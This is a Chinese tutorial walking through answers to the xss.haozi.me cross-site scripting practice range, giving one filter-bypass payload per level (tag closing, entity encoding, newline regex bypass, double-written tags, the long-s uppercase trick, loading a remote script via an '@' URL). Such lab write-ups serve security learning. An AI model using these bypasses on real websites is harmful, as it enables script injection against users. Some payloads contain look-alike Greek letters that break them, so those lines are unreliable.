xss.haozi教程-史上最全详解

2023-10-11 17:59

本文主要是介绍xss.haozi教程-史上最全详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

0x00

0x01

0x02

0x03 反引号替代括号

0x04 编码绕过

0x06 换行绕过

0x08 换行绕过

0x09

0x0A 引入漏洞页面

0x0B 编码绕过

0x0C 双写绕过

0x0D

0x0E 特殊符号绕过

0x0F

0x10

0x11

0x00

<script>alert(1)</script>

0x01

先尝试<script>alert(1)</script>

 前后都闭合标签即可

</textarea><script>alert(1)</script><textarea>

0x02

先尝试<script>alert(1)</script>

闭合

"><script>alert(1)</script>

或者先"闭合,鼠标再移到框中

"οnmοuseοver="alert(1)

0x03 反引号替代括号

先尝试<script>alert(1)</script>

发现过滤了()

`替代括号

<script>alert`1`</script>

0x04 编码绕过

本题过滤了()和`

使用实体编码的方式绕过

首先需要加一个svg标签,代表要解码后面的编码值

将(1)用ascii编码转unicode

在线Unicode编码转换工具(ES JSON在线工具)

<svg><script>alert&#40;1&#41;</script>

0x05

尝试<script>alert(1)</script>

发现被注释掉了

html注释

<!--这是单行注释-->

<!--

        这是多行注释

        这是多行注释

-->

我们尝试闭合注释

结合源码,发现-->会被替换成表情

因此用--!>来闭合

--!><script>alert(1)</script>

0x06 换行绕过

过滤了以auto/on开头,以=结尾的字符串,并且忽略大小写

可以利用换行绕过正则

直接将等于换第二行,=前面就是空的,同时不影响第一行内容的执行

onmousemove

=alert(1)

0x07 单标签

尝试<script>alert(1)</script>

以为是闭合标签

本题过滤了尖括号之间的内容,忽略大小写

利用浏览器的兼容性,右尖括号可以不用写

<body οnlοad="alert(1)"

0x08 换行绕过

尝试<script>alert(1)</script>

尝试闭合标签

发现本题将替换为/* 坏人 */

利用换行绕过

0x09

本题要求我们必须输入指定的网址

可以先闭合script标签,然后注释掉后面

https://www.segmentfault.com"></script><script>alert(1)</script>//


也可以
http://www.segmentfault.com"></script><img src=x οnerrοr="alert(1)
http://www.segmentfault.com"></script><body οnlοad="alert(1)"

 

0x0A 引入漏洞页面

要求包含网址和上题一样,还将常用符号转换成了编码形式

以@前的字符串作为用户名,来访问@后面的网址

https://www.segmentfault.com@xss.haozi.me/j.js

这里把www.segmentfault.com当成了登录后面网址的用户名

xss.haozi.me/j.js文件内存放着alert(1);

0x0B 编码绕过

发现将所有输入转换为大写输出

html不区分大小写,而js区分大小写

构造html代码:

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>

或者实体编码绕过

将alert(1)进行HTML实体字符转换

在线Unicode编码转换工具(ES JSON在线工具)

<img src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0C 双写绕过

在0x0B基础上过滤了script

利用双写绕过

<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

或者
<img src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0D

发现输入全在注释内,还过滤了< / " '

//为单行注释,换行可以绕过

利用换行绕过注释,再用–>忽略后面的引号和括号

0x0E 特殊符号绕过

尝试

特殊符号绕过,ſ 经过toUpperCase函数会变成S

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>


<ſcript src="https://xss.haozi.me/j.js" ></script>

0x0F

属性值中的HTML实体编码会被浏览器成功解析,所以此处的HTML实体编码毫无用处

先闭合console.error,再添加alert

');alert(1);//

0x10

可以先闭合给data赋值,然后alert(1)

1;alert(1)

也可以直接alert(1)

0x11

"被替换为\\"

但仍然可以闭合了前面的"

然后执行alert(1)语句,并用//注释后面的语句

所以此处的过滤也是毫无用处

");alert(1)//

0x12

")</script><script>alert(1)</script><!--

由于浏览器的容错性可以简写

</script>
<script>alert(1)</script>


xss.haozi 思路总结 0x00-0x12_图南yukino的博客-CSDN博客

xss靶场练习之xss.haozi.me解析及答案_钟情妺喜107的博客-CSDN博客

这篇关于xss.haozi教程-史上最全详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/189845

相关文章

C++使用栈实现括号匹配的代码详解

《C++使用栈实现括号匹配的代码详解》在编程中,括号匹配是一个常见问题,尤其是在处理数学表达式、编译器解析等任务时,栈是一种非常适合处理此类问题的数据结构,能够精确地管理括号的匹配问题,本文将通过C+... 目录引言问题描述代码讲解代码解析栈的状态表示测试总结引言在编程中,括号匹配是一个常见问题,尤其是在

Debezium 与 Apache Kafka 的集成方式步骤详解

《Debezium与ApacheKafka的集成方式步骤详解》本文详细介绍了如何将Debezium与ApacheKafka集成,包括集成概述、步骤、注意事项等,通过KafkaConnect,D... 目录一、集成概述二、集成步骤1. 准备 Kafka 环境2. 配置 Kafka Connect3. 安装 D

Java中ArrayList和LinkedList有什么区别举例详解

《Java中ArrayList和LinkedList有什么区别举例详解》:本文主要介绍Java中ArrayList和LinkedList区别的相关资料,包括数据结构特性、核心操作性能、内存与GC影... 目录一、底层数据结构二、核心操作性能对比三、内存与 GC 影响四、扩容机制五、线程安全与并发方案六、工程

Spring Cloud LoadBalancer 负载均衡详解

《SpringCloudLoadBalancer负载均衡详解》本文介绍了如何在SpringCloud中使用SpringCloudLoadBalancer实现客户端负载均衡,并详细讲解了轮询策略和... 目录1. 在 idea 上运行多个服务2. 问题引入3. 负载均衡4. Spring Cloud Load

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

在 Spring Boot 中使用 @Autowired和 @Bean注解的示例详解

《在SpringBoot中使用@Autowired和@Bean注解的示例详解》本文通过一个示例演示了如何在SpringBoot中使用@Autowired和@Bean注解进行依赖注入和Bean... 目录在 Spring Boot 中使用 @Autowired 和 @Bean 注解示例背景1. 定义 Stud

如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解

《如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解》:本文主要介绍如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别的相关资料,描述了如何使用海康威视设备网络SD... 目录前言开发流程问题和解决方案dll库加载不到的问题老旧版本sdk不兼容的问题关键实现流程总结前言作为

Ubuntu固定虚拟机ip地址的方法教程

《Ubuntu固定虚拟机ip地址的方法教程》本文详细介绍了如何在Ubuntu虚拟机中固定IP地址,包括检查和编辑`/etc/apt/sources.list`文件、更新网络配置文件以及使用Networ... 1、由于虚拟机网络是桥接,所以ip地址会不停地变化,接下来我们就讲述ip如何固定 2、如果apt安

SQL 中多表查询的常见连接方式详解

《SQL中多表查询的常见连接方式详解》本文介绍SQL中多表查询的常见连接方式,包括内连接(INNERJOIN)、左连接(LEFTJOIN)、右连接(RIGHTJOIN)、全外连接(FULLOUTER... 目录一、连接类型图表(ASCII 形式)二、前置代码(创建示例表)三、连接方式代码示例1. 内连接(I

Go路由注册方法详解

《Go路由注册方法详解》Go语言中,http.NewServeMux()和http.HandleFunc()是两种不同的路由注册方式,前者创建独立的ServeMux实例,适合模块化和分层路由,灵活性高... 目录Go路由注册方法1. 路由注册的方式2. 路由器的独立性3. 灵活性4. 启动服务器的方式5.